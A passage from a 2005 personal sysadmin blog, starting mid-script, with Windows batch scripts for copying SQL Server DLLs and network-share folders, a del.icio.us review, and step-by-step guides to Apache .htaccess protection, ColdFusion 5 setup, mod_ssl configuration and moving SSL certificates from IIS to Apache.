XCOPY "t:\sqldmo.dll" "%1:\Program Files\Microsoft SQL Server\80\Tools\Binn"
XCOPY "t:\sqllex.dll" "%1:\Program Files\Microsoft SQL Server\80\Tools\Binn"
XCOPY "t:\sqlmmc.dll" "%1:\Program Files\Microsoft SQL Server\80\Tools\Binn"

cd "%1:\Program Files\Microsoft SQL Server\80\Tools\Binn"
REGSVR32 dtsui.dll
REGSVR32 sqlns.dll
REGSVR32 sqldmo.dll
REGSVR32 sqllex.dll
REGSVR32 sqlmmc.dll

ECHO File Copy Successful
ECHO Thank You For Using this utility
net use t: /d
PAUSE
cd \
CLS

To use this script, CD to the directory where it lives and run it from the command line with one additional parameter, the drive that Enterprise Manager is installed on. so for example

c:\> sqlservr.bat c

Full of scripty goodness

2005-11-16T17:18:00.000Z

This is one of the batch scripts that I wrote today, basically what it does is log in to a samba server that is doing NT Authentication with Active Directory, takes user input to specify the source folder on the remote server and the target folder on their local machine. To do this it creates a temporary mapped drive on their local machine that is destroyed when the script runs through, its not a persistent connection so if they screw up or kill the script it won't leave the mapped drive sitting on their machine.

The specification I was given for this was:

"I need to copy an entire folder down to my laptop so that if i am travelling it will have the latest documents in it,
I want to be able to specify the directory to copy the files into and I don't care if it overwrites the existing files/folders"

Why they couldn't just copy the files down through Windows Explorer I will never know, but it filled an hour or so and I know lots more about batch scripts than I did before! I probably would have written it so that it didnt ask for any user input apart from the username and password but that would only have worked if the target and source directories were constant, and obviously they won't be.

This would probably have been much simpler to write and much more powerful in Linux (rSync goodness abound!) but this way it minimises the amount of additional software and extra permissions that people need (cygwin on their local machine and a login on the remote linux box).

I might in the future set it up so that the user can specify the remote server as well and navigate through the directory structure.

There are some limitations on its behaviour, I'm still discovering some of the stranger things that it does, i.e. if you are a smart arse and feed it a file within a folder as the target (i.e. work/thisisafile.xls) it will create teh work folder and then another folder beneath it called thisisafile.xls and this folder will contain a file of the same name. This shouldnt be a problem but I would rather it didnt do it. It serves its purpose in the mean time and it may never be modified again but it is something that would annoy me immensely.

@ECHO OFF
:: copydir.bat
:: Written by Daniel McLaughlin
:: http://danmacs.blogspot.com
SET SOURCE=
SET TARGET=
ECHO Mounting Network Share as Local Drive
ECHO.
ECHO Enter your username and close by pressing Enter, F6, Enter.
ECHO You Will Be Prompted for your NT Password
FOR /F "tokens=*" %%A IN ('TYPE CON') DO SET USERNAME=%%A
NET USE t: \\Target IP Address OR Hostname\shared dir * /USER:DOMAIN\%USERNAME% /PERSISTENT:NO
CLS
ECHO.
ECHO Directory Listing for "Description of the target folder"
ECHO.
dir /A:D /W "t:\Target folder\"
PAUSE
ECHO.
ECHO Type in the source directory path
ECHO *********************************WARNING*********************************
ECHO * Specifying a null directory will copy the ENTIRE folder *
ECHO * *
ECHO * If you accidentally specify the entire folder press CTRL +C *
ECHO * The Temporary Drive (t:) Created will be removed on your next reboot *
ECHO *********************************WARNING*********************************
ECHO.
ECHO End directory entry by pressing Enter, F6 then Enter again.
ECHO.
:: Only one single command line is needed to receive user input
FOR /F "tokens=*" %%A IN ('TYPE CON') DO SET SOURCE=%%A
:: Use quotes if you want to display redirection characters as well
CLS
ECHO.
ECHO Type in the ***full*** target directory path
ECHO i.e. c:\documents and settings\user\my documents
ECHO Files will be put in a subfolder with the same name as the target dir.
ECHO End directory entry by pressing Enter, F6 (or Ctrl+Z), Enter.
ECHO.
:: Only one single command line is needed to receive user input
FOR /F "tokens=*" %%A IN ('TYPE CON') DO SET TARGET=%%A
CLS
ECHO *********************************INFO*********************************
ECHO You Have Specified Source(remote) Folder %SOURCE%
ECHO You Have Specified Target(local) Folder %TARGET%
ECHO If you accidentally specify the wrong folder(s) press CTRL +C
ECHO The Temporary Drive (t:) Created will be removed on your next reboot
ECHO Otherwise

PAUSE
XCOPY /-Y /W /E "t:\target folder\%SOURCE%\*.*" "%TARGET%\%SOURCE%" /s
ECHO File Copy Successful
ECHO Thank You For Using this utility
PAUSE
net use t: /d
CLS

Obviously you wont be an eejit and just copy this into notepad and expect it to run, there are a few parts that you need to edit in order for it to work for you, these are in italics and bold just so that they are easy to spot.

del.icio.us

2005-11-14T10:13:00.000Z

I have been using del.icio.us for a while now, I found it by accident and thought it was a fantastic tool, I recommend it to anyone who will listen and anyone who gives it a go tends to keep using it.
It works for me because i could be at any number of PCs and still have access to my favourites list.
I know I could set u p a HTML page with my bookmarks on it, but why would I do that when someone else can do it for me, and I can share what i found with other people!
There is also the "popular" section where you can see the most bookmarked pages over a period of time.
I stumbled across tagrolls on their site and I thought I would use it now to show people exactly what i might be looking at at any one point in time. Unfortunately, it doesnt work with blogger as you can't incorporate javascript. Pants.

protect web directories using .htaccess

2005-11-09T13:19:00.001Z

Here's a tutorial on how to set up password protection under Apache 2.0.54 and Windows 2000
it takes about 5 minutes to set this up and provides an adequate level of protection for files that are web accessible anyway!

1. Open up a command prompt and navigate to your apache2/bin directory, it will be c:\program files\apache group\apache2\bin if you used a default apache installation
2. Type the following command "htpasswd -c filename username" where you choose the name of the password file (remember what you called it) and the name of the user that you want to add to the user list, you will be prompted twice for a password
3. Copy the new password file to a directory outside your web root, you dont want anyone being able to see it
4. You now need to edit your httpd.conf file, if you search for the following string "FileAccessName" that will take you to the correct place in the file. Create a new line after that section and add the following text:

<directory>
AllowOverride All
Options None
Order deny,allow
</directory>

Where protected directory is the full path to the directory that needs to be password protected i.e. "c:/webroot/site/www.home.com/securearea"
5. Browse to that directory and create a new text file called htaccess.txt, inside this add the following text

AuthUserFile "path/to/your/password/file"
AuthName "The Message you wish to appear on the prompt that pops up"
AuthType Basic

<Limit>
require valid-user
</Limit>

6. Save this and rename it to .htaccess using your favourite editor (NOT NOTEPAD!!!)
7. Restart apache and try to browse to your newly protected directory, you should be presented with a dialogue box asking you for a username and password (the ones you created earlier!)

This will give you rudimentary protection for the files contained in that directory but there is much more that htaccess can do, for example it can limit access to a specific IP range, so say you have an internet site that is part intranet, you could limit access to the intranet subsection so that it is only accessible to users that have a 10.0.0.0 or a 192.0.0.0 IP address, i.e. those users on the internal network.
I can't cover all the possibilities that this presents, there are simply too many permutations, but there is plenty of help out there, remember google is your friend!

Apache 2 Virtual hosting, mutiple IP addresses and Coldfusion fuckwittery

2005-10-26T00:11:00.000Z

This is a quick post this time, it turns out that if you are using Virtual Hosts in Apache with multiple IP Addresses on the same NIC (having two or more sites with SSL), you should not have the cfadministrator virtual host under the same IP Address; it causes whatever site is hosted on that IP address to be hosed and have incredibly slow response/load times.

This has been a pain in my ass for about 2 weeks, I had until just recently not been able to get to the bottom of why two identical sites on the same server etc etc have such completely different behaviours.

I decided to bite the bullet today and step through the entire site to try and eliminate any differences and get to the bottom of the speed problem.

Needless to say the cfadmin IP address was swiftly changed to a different one and the difference was night and day.

So to summarise, dont have Cfadmin and a live site on the same IP address if you need more than one IP address on the same NIC. I don't think that this would be a common problem, but if you do come across it and this helps you drop me a comment!

This was intended to be a very short post but... I'll stop now

Almost home time, not too long left now....

Macromedia Coldfusion 5 and Apache 2.0.55

2005-10-25T16:53:00.000Z

It seems that every post so far is about apache in so form or fashion, well it just so happens that is what I spend most of my time doing. Im also trying to compile all of the useful tips, tricks and code snippets that I have found into one place so that I can find them when I need them instead of having to thumb through a slightly "abused" notebook and hoping that its not in the other one that I use from time to time...

For reasons unbeknownst to me, I have been asked to install ColdFusion 5 on an Apache 2 box.
Normally something as simple as installing some software would not merit a blog post, let alone a set of instructions! However, Macromedia in their infinite wisdom decided to only support Apache 2 with Codfusion MX and newer.

You would think(hope) that it would just be a matter of copying the required modules from the macromedia site or from and existing MX installation but No, life is never that simple. What you really need to do is go and get the third party module from here (nextron.ch).
Just drop that into your Apache "Modules" directory and add the following lines to your httpd.conf

LoadModule coldfusion_module modules/mod_coldfusion.so
AddHandler type-coldfusion cfm dbm

Once this is done and you have restarted apache just load up your cfadministrator page (localhost/CFIDE/administrator) and you are laughing.

Apache 2 and modssl

2005-10-24T17:41:00.000Z

A few months ago I did a complete setup of Apache 2.0.54 and the modssl package under Windows 2000 Server. This morning I had to add a renewed certificate so I decided to start my blog and put the guides that I used and edited up online.

Lets just say its not without its hoops to jump through to get your Apache installation working under Windows!

There are a few places where you could go wrong and not realise it and some of the guides arent totally accurate so I decided to collate my own with all the caveats that are associated with it. There is an additional guide featured after this one for moving a secure cert from IIS 5/6 to Apache 2 with modssl.
Renewing the certificates with Thawte is quite easy as long as you follow their guidelines and don't forget which key goes with which certificate! Its easy to recover from this but Apache gives very few indications what is wrong (no error message on startup and no entries in error log).
You can find which certificate matches which key using the following commands

To view the certificate :
openssl x509 -noout -text -in certificate file

To view the key:
openssl rsa -noout -text -in keyfile

The exponent and the modulus should match in each, if not then its not the correct pairing.

N.B. Apache under Windows doesnt support passphrases on the key, if you do manage to miss this instruction and in your haste to follow the on-screen instructions, you can remove the passphrase by using the following command

openssl rsa -in file1.key -out file2.key

where file1.key is the key with passphrase and file2.key is the same key with the encryption removed. You will be asked for the passphrase for file1.key when you run this so if you don't remember what it is you are SOOL.

Enjoy the guides below, credit is given where credit is due.

Apache 2.0.54 with Modssl installation guide, adapted from the guide found on www.thompsonbd.com, kudos for helping me get my own installation setup.

1. Caveats

This tutorial assumes that you already have Apache2 installed and working on a Windows server.
You have already copied mod_sll.so from the Apache_2.0.52-Openssl_0.9.7e-Win32 extracted files into your apache installation Modules Directory.
This assumes that you are only using one secure cert on the server, if you require more than one secure cert on the server please see section 6.

2. Needed Files

Files that you will need can be downloaded from this website. These are not necessarily the most up-to-date, but they worked for my install so I have included them here. You will need to download both Apache_2.0.52-Openssl_0.9.7e-Win32.zip and Openssl-0.9.7e-Win32.zip

Unzip both of these files to seperate folders.

3. Setting Up OpenSSL

Copy the files ssleay32.dll and libeay32.dll from the OpenSSL folder to WINNT\System32. Double check that you make sure you copied the dll's and not the lib's.

You also need to download openssl.cnf into the same folder where you unzipped OpenSSL. Windows will remove the .cnf and will make this file look like a dialup icon. Just ignore it. Just make sure you have the file in the right place.

Download ssl.conf and place it in the Apache2/conf directory.

4. Creating a test certificate

Open a command prompt. Navigate to where you unzipped OpenSSL.

openssl req -config openssl.cnf -new -out my-server.csr

You can replace my-server.csr with whatever you want aslong as the extention is .csr. When asked for "Common Name (eg, your websites domain name)", give the exact domain name of your web server (e.g. www.my-server.dom). The certificate belongs to this server name and browsers complain if the name doesn't match.

openssl rsa -in privkey.pem -out my-server.key

This removes the passphrase from the private key. You MUST understand what this means; my-server.key should be only readable by the apache server and the administrator. You should delete the .rnd file because it contains the entropy information for creating the key and could be used for cryptographic attacks against your private key.

openssl x509 -in my-server.csr -out my-server.cert -req -signkey my-server.key -days 365

This creates a self-signed certificate that you can use until you get a "real" one from a certificate authority. (Which is optional; if you know your users, you can tell them to install the certificate into their browsers.) Note that this certificate expires after one year, you can increase -days 365 if you don't want this.

Create a directory in the Apache folder name Apache2/conf/ssl and move my-server.key and my-server.cert into it.

5. Configuring Apache and mod_ssl

Open the httpd.conf file and locate the LoadModule directives. Add

LoadModule ssl_module modules/mod_ssl.so

After add

SSLMutex default
SSLRandomSeed startup builtin
SSLSessionCache none

In the VirtualHost directives add the following below the existing virtual host for the http host

SSLEngine On
SSLCertificateFile conf/ssl/my-server.cert
SSLCertificateKeyFile conf/ssl/my-server.key

Open the ssl.conf file and set the correct www.my-domain.com and DocumentRoot. You will place the location of the secure material in the " " after DocumentRoot. Change the VirtualHost __default__ to the IP address of the virtual host you are using.

6. Multiple Secure Certificates on the same server

Because of limitations in the SSL and HTTPS Specification it is only possible to have one secure cert per IP address, in order to overcome this the NIC that is used to connect to the network must be configured with N additional IP addresses where N is the number of secure certificates that are required. This is accomplished using the following method (Applicable to Windows servers only)

Go to the properties page of the NIC that you are using to connect the server to the internet/target network
Select Internet Protocol (TCP/IP) and click on properties
Click on the advanced button
Then click “Add” in the IP Addresses section, specify the additional IP address you would like the NIC to be configured with, the subnet mask will usually remain the same

Once this is completed you can continue configuring httpd.conf and ssl.conf for the apache setup.

SSL Configuration

Copy the entire virtualhost configuration already present from step 5 and paste it after the closing virtualhost tag ()

Change the relevant sections as specified in step 5, being careful to change the IP address configured as well

HTTPD Configuration

All that requires modification in this section is to add the new secure virtualhost with the same instructions that you followed in step 5 again being careful to change the IP address. You will also have to add an additional line in the “listen” directives specifying the additional IP addresses and ports(listen 12.34.56.67:80). You don't need the listen 12.34.56.78:443 directive as this is taken care of in the ssl.conf file
It is usually easiest to keep the http and https virtualhosts on the same IP address as to avoid confusion.

Moving a certificate from IIS 5/6 to Apache 2 (good for you!)
The majority of this is copied from the Thawte guide, there's is mainly about moving it to a Linux platform so there are a few additional tricks that need doing before

To Move a Certificate from IIS 6.0 to Apache do the following:

Create an MMC Snap-in for Managing Certificates:

1. Start > run > MMC
2. Go into the Console Tab > 'File' > 'Add/Remove Snap-in'
3. Click on 'Add' > Click on 'Certificates' and click on 'Add'
4. Choose 'Computer Account'
5. Choose 'Local Computer'
6. Close the 'Add Standalone Snap-in' window.
7. Click on 'OK' at the 'Add/Remove Snap-in' window.

Export your certificate and private key .pfx file from IIS6:

1. Open the Certificates (Local Computer) snap-in you added in the last section, navigate to Personal, and then to Certificates

2. You will see your Web server certificate denoted by the CN (Common Name) found in the Subject field of the certificate (using Microsoft Internet Explorer, you can easily view the certificate to see the Common Name if you are unsure)

3. Right-click on the server certificate, select All Tasks, and then click Export

4. When the wizard starts, click Next. Choose to export the private key, and then click Next

NOTE: If you export the certificate for use on an IIS Web server, do not select Require Strong Encryption.This option causes a password prompt every time an application attempts to access the private key, and causes IIS to fail.

5. The file format you will want to choose is the Personal Information Exchange (though you can select from several options). This will create a PFX file.

Notice that you can export any certificates in the certification path by selecting the option on this screen. This is very handy if your certificate was issued by a non-trusted certificate authority (for example, Microsoft Certificate Server).
Only choose delete the private key if the export is successful to be sure it is not left on the computer (for example if your migrating from one server to another).

6. Click Next, and then choose a password to protect the PFX file. You will need to enter the same password twice to ensure that the password is typed correctly. When you have completed this step, click Next.

7. Choose the file name you want to save this as. Do not include an extension in your file name; the wizard will automatically add the PFX extension for you.

8. Click Next, and then read the summary.
Pay special attention to where the file is being saved to.
If you are sure the information is correct, choose Finish.

9. You now have a PFX file containing you server certificate and
its corresponding private key. Be sure to protect this file.
You may want to move it to a floppy disk and store it somewhere safe from outside disturbance. Keep in mind, if you run a backup on the server, this file may be saved in that backup if it is still on the server.

To convert the .pfx file to a file that your Apache server will understand

Run the following command using OPENSSL:

1. To export the Private key file from the .pfx file
openssl pkcs12 -in filename.pfx -nocerts -out key1.pem
You will be asked for the import password, this was generated in step 6 above, when asked for a RSA password enter the a password (not important as you will be removing it shortly)
(NB. Make sure to append ‘1’ to your key name, all will be come clear later)

2. To export the Certificate file from the .pfx file
openssl pkcs12 -in filename.pfx -clcerts -nokeys -out cert.pem

3. For installation on a Win32 system it is necessary to remove the encryption on the key that you have just generated, run the following command
openssl rsa –in key1.pem –out –key.pem
Now delete the key1.pem file

4. You now need to copy the files to the locations as described in the httpd.conf, this would be c:\program files\apache group\apache2\conf\ssl on a standard win32 apache2 installation

5. Rename the key and the certificate as follows key.pem -> key.key, cert.pem -> cert.crt edit your httpd.conf and your ssl.conf file to suit, this is assuming that you created a self-signed certificate in order to test your apache2 ssl installation. Otherwise please consult my previous documentation on how to add SSL support to Apache2 under win32 for directions on what sections to change.

6. You will now need to restart the http daemon (net stop apache2, net start apache2 from the command line, or use the apache monitor)